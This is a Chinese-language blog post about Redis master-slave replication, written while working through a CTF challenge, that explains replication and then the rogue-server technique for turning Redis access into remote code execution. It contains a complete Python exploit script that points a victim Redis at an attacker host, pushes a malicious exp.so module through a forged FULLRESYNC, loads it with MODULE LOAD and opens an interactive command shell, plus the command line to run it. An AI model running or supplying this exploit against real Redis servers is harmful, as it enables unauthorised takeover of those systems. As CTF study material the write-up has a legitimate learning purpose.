redis主从复制

redis主从复制

前言

开篇雷击,真要笑死我了.正好在写网鼎杯的ssrfme,学到redis主从复制,还在这纠结不懂,电脑右下角弹出来个框

(不知道什么时候加的免费课程,觉得这个课还不错,主要讲的挺高端的,而且最重要的是可以白嫖!)

切回正题,必得好好学一学

介绍

作用

  1. 数据冗余(热备份)
  2. 故障恢复(主节点出问题可以由从节点继续提供服务)
  3. 读写分离(主节点提供写服务,从节点提供读服务)

(其实我觉得整个下来有点hadoop分布集群内味儿了)

原理

主从复制是指将一台redis服务器的数据,复制到其他redis服务器.前者称为主节点,后者称为从节点,数据复制单向,只能由主节点到从节点

这也是redis从ssrf到rce的核心:

通过主从复制,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

在全量复制过程中,恢复rdb文件,如果我们将rdb文件构造为恶意的exp.so,从节点即会自动生成,使得可以RCE

过程分为三个阶段:连接建立阶段\数据同步阶段\命令传播阶段

从节点执行slaveof命令后,复制过程开始,分为六个阶段:

  1. 保存主节点信息
  2. 主从建立socker链接
  3. 发送ping命令
  4. 权限验证
  5. 同步数据集
  6. 命令持续复制

问题

既然是异体机,跨主机就有可能数据存在各种问题

  • 如果数据延迟,导致读写不一致.采用监控偏移量offset的思想,如果offset超出范围直接切换回主节点上

  • 异步复制导致数据丢失的情况,要求主节点至少有n个从节点链接的时候才允许写入

  • 从节点故障可以允许主节点配置高于从节点,依然可用

  • 从节点断掉,主节点内存碎片率过高,redis提供debug reload的重启方式,在不影响主节点runid和offset情况下重启,同时避免消耗资源的全量复制

  • 主节点宕机重启时,可以采用树状,将开销交给位于中间层的从节点,从而减轻主节点的消耗

启动

运行容器

拉取最新版本redis镜像

docker pull redis:latest

查看本地镜像

docker images (出现redis latest即表明安装成功)

运行容器

docker run -itd --name redis-test -p 10000:6379 redis

查看运行状态

docker ps -a

进入容器

docker exec -it redis-test /bin/bash

连接redis

redis-cli

这里还要建一台机器,重复上述操作,改个名字和端口即可

主从复制启动

我们这里通过客户端命令方式开启从节点主从复制,redis服务器启动后,直接可短短输入命令

slaveof <masterip> <masterport>

此机器变成从节点

info replication 查看参数信息

可以看到设置成功,测试数据达到同步

加载恶意文件

自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。
Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中

贴一下恶意.so文件编写地址

在这里膜一下r3kapig的师傅,tql

利用原理

上文中提到,主从复制会启用全量复制的方式将主节点的rdb文件同步到从节点,于是我们可以利用redis模块特性将恶意so文件上传至主节点,全量复制会帮我们同步到子节点上

建立rogue服务器

使用此项目下的rogue-server,目的是在同步过程中向redis发送我们的module load命令

设置从节点

slaveof <mastetip> <masterport>

设置redis数据库文件

CONFIG SET dbfilename exp.so

注意:如果某些ctf过滤了file字符串,可以采用二次编码方式绕过。且此处的exp.so不能包含路径

rogue server 接受回传

+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>

加载模块

MODULE LOAD ./exp.so

exp

贴上大佬的exp

import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock

def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):
    flag=True
    try:
        while flag:
            shell=raw_input("\033[1;32;40m[*]\033[0m ")
            shell=shell.replace(" ","${IFS}")
            if shell=="exit" or shell=="quit":
                flag=False
            else:
                send(sock,"system.exec {}".format(shell))
    except KeyboardInterrupt:
        return


def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            flag=False

if __name__=="__main__":
    lhost="192.168.163.132"
    lport=6666
    rhost="192.168.163.128"
    rport=6379
    passwd=""
    redis_sock=redis_connect(rhost,rport)
    if passwd:
        send(redis_sock,"AUTH {}".format(passwd))
    send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
    send(redis_sock,"config set dbfilename {}".format(exp_filename))
    time.sleep(2)
    RogueServer(lport)
    send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
    interact_shell(redis_sock)

演示

运行redis服务

redis-test: 172.17.0.2

redis-test2:172.17.0.3

开启主从复制

运行rogue server

python redis-rogue-server.py --rhost 172.17.0.3 --lhost 172.17.0.1

因为我这里是默认直接启动的,没有设置redis.conf中关闭安全限制,所以并没有连上,实际中只要其关闭安全限制,暴露在外网中即可getshell

参考链接

posted @ 2020-12-12 11:02  kar3a  阅读(127)  评论(0编辑  收藏  举报